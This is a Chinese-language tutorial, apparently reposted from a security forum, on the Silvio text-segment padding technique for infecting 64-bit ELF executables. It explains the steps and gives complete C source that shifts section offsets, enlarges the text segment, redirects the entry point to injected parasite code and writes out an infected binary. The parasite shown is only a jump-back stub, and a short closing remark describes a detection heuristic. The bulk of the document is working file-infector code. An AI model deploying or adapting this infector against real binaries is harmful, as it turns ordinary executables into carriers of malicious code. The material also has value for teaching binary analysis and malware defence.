通过将寄生程序注入到ELF可执行文件的代码段尾部作为代码段(以内存页4096字节长度为单位)的一部分来进行执行。
为什么叫Silvio填充感染呢? 这是因为这项技术是Silvio Cesare 在 20 世纪 90 年代末期发明的。
将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小
[^PAGE_SIZE]: 一个内存页的长度
[^ehdr_shoff]: 节头表偏移,如果二进制文件有节头表,节头表在文件格式布局的底部,向上紧挨着的就是每个节(段)的内容,寄生代码注入到了text段后面,即被注入到text段中最后一个节的后面,这样让后面剩余节内容、节头表都想后移动一个内存页的大小
定位text段的程序头表
将elf文件头中的程序入口点修改为寄生代码的地址
ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
将 phdr[TEXT].p_filesz 增加寄生代码的长度值
将 phdr[TEXT].p_memsz 增加寄生代码的长度值。
对每个 phdr,如果对应的段位于寄生代码之后,则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节。
找到 text 段的最后一个 shdr,将 shdr[x].sh_size 增加寄生代码的长度值(因为在这个节中将会存放寄生代码)。
对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。
将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz
根据感染算法来编写:
1、修改节头偏移
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;ehdr->e_shoff += PAGE_SIZE;
2、保存原始入口点,等shellcode执行完毕后跳回原始入口并开始执行正常逻辑
old_e_entry = ehdr->e_entry;
修改文件头,将程序入口修改到shellcode的位置,shellcode的位置就是text段的尾部
if (phdr[i].p_type == PT_LOAD) {
if (phdr[i].p_offset == 0) {
o_text_filesz = phdr[i].p_filesz;
end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
//寄生代码注入的位置
parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
//修改入口点到寄生代码的位置
ehdr->e_entry = parasite_vaddr;
//修改text段在文件和内存中占用的长度
phdr[i].p_filesz += parasite_len;
phdr[i].p_memsz += parasite_len;
//对寄生代码后的程序段的偏移都加上PAGE_SIZE长度
for (j = i + 1; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
phdr[j].p_offset += PAGE_SIZE;
}
break;
}
}
3、修改节头,因为寄生代码是存放在text段内最后一个节的里面,所以对最后一个节进行体积增加,并且对后面的节进行偏移修改,增加PAGE_SIZE长度
//adjust section headers
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_addr > parasite_vaddr)
shdr[i].sh_offset += PAGE_SIZE;
//shdr[i].sh_offset += parasite_len;
else
//增加寄生代码的长度
if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
shdr[i].sh_size += parasite_len;
}
4、寄生代码的注入
void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
{
int ofd;
unsigned int c;
int i, t = 0;
int ret;
//打开临时文件,存放注入寄生代码的程序
ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
//写入原始text段(包含文件头到text段尾部)
ret = write (ofd, mem, end_of_text);
//在寄生程序后的下一个地址,也就是寄生程序执行结束后,执行的下一个位置,写入宿主程序的原入口点
*(uint32_t *) ¶site[jmp_code_offset] = old_e_entry;
//写入寄生程序代码
write (ofd, parasite, psize);
//将写入位置向后推,直到加上寄生代码长度总共为PAGE_SIZE的长度
lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
mem += end_of_text;
unsigned int sum = end_of_text + PAGE_SIZE;
//宿主程序长度减去text段长度就是剩余段的长度
unsigned int last_chunk = hsize - end_of_text;
//写入剩余部分
write (ofd, mem, last_chunk);
close (ofd);
}
完整源码
这个是对本目录下的64位test程序进行寄生的
#include <stdio.h>
#include "elf.h"
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#define PAGE_SIZE 4096*3
#define TMP "test2"
#define JMP_PATCH_OFFSET 1
char parasite_shellcode[] = "\xb8\x00\x00\x00\x00\xff\xe0";
int main(){
FILE *file;
int fd, i, c;
struct stat statbuf;
fd = open ("./test", O_RDONLY);
stat("./test",&statbuf);
int size = statbuf.st_size;
char dest[size];
c = read (fd, dest, size);
silvio_text_infect("./test", dest, parasite_shellcode, sizeof(parasite_shellcode));
return 0;
}
/*
* text段感染函数。
*
* host: 被感染的宿主程序名
* base: 被感染程序运行时的内存地址
* payload: 寄生代码
* parasite_len: 寄生代码的长度
*
*/
int silvio_text_infect(char* host, void* base, void* payload, size_t parasite_len)
{
/*
* 第一步:修改文件头,将节头表偏移增大一个内存页的长度
*/
Elf64_Addr old_e_entry;
Elf64_Addr o_text_filesz;
Elf64_Addr parasite_vaddr;
uint64_t end_of_text;
int found_text;
uint8_t *mem = (uint8_t *)base;
uint8_t *parasite = (uint8_t *)payload;
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
ehdr->e_shoff += PAGE_SIZE;
struct stat statbuf;
/*
* Adjust program headers
*/
int i, j;
for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD) {
if (phdr[i].p_offset == 0) {
o_text_filesz = phdr[i].p_filesz;
end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
old_e_entry = ehdr->e_entry;
ehdr->e_entry = parasite_vaddr;
phdr[i].p_filesz += parasite_len;
phdr[i].p_memsz += parasite_len;
//ehdr->e_shoff += parasite_len;
for (j = i + 1; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
phdr[j].p_offset += PAGE_SIZE;
//phdr[j].p_offset += parasite_len;
}
break;
}
}
//adjust section headers
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_addr > parasite_vaddr)
shdr[i].sh_offset += PAGE_SIZE;
//shdr[i].sh_offset += parasite_len;
else
if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
shdr[i].sh_size += parasite_len;
}
stat(host,&statbuf);
int size = statbuf.st_size;
insert_parasite(host, parasite_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
return 0;
}
void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
{
int ofd;
unsigned int c;
int i, t = 0;
int ret;
ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
ret = write (ofd, mem, end_of_text);
*(uint32_t *) ¶site[jmp_code_offset] = old_e_entry;
write (ofd, parasite, psize);
lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
mem += end_of_text;
unsigned int sum = end_of_text + PAGE_SIZE;
unsigned int last_chunk = hsize - end_of_text;
write (ofd, mem, last_chunk);
close (ofd);
}
小结
1、这里和linux二进制分析中稍有出入,他那里总结的是寄生代码大小被控制在一个内存页的大小,而我这里觉得只要代码段的长度不是固定的,那么就可以段对齐长度的整数倍。
2、PAGE_SIZE
长度,不管是32位还是64位,这个值都是4096(一个内存页标准长度:0x1000byte)的整数倍,这里应该和文件的段对齐有关,后面详细了解ELF文件再确认
3、怎么检测:可以检测入口点在text位置,正常的程序入口点在text节的首部,而text感染技术的入口点没有在text段中最后一个节的头部。
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.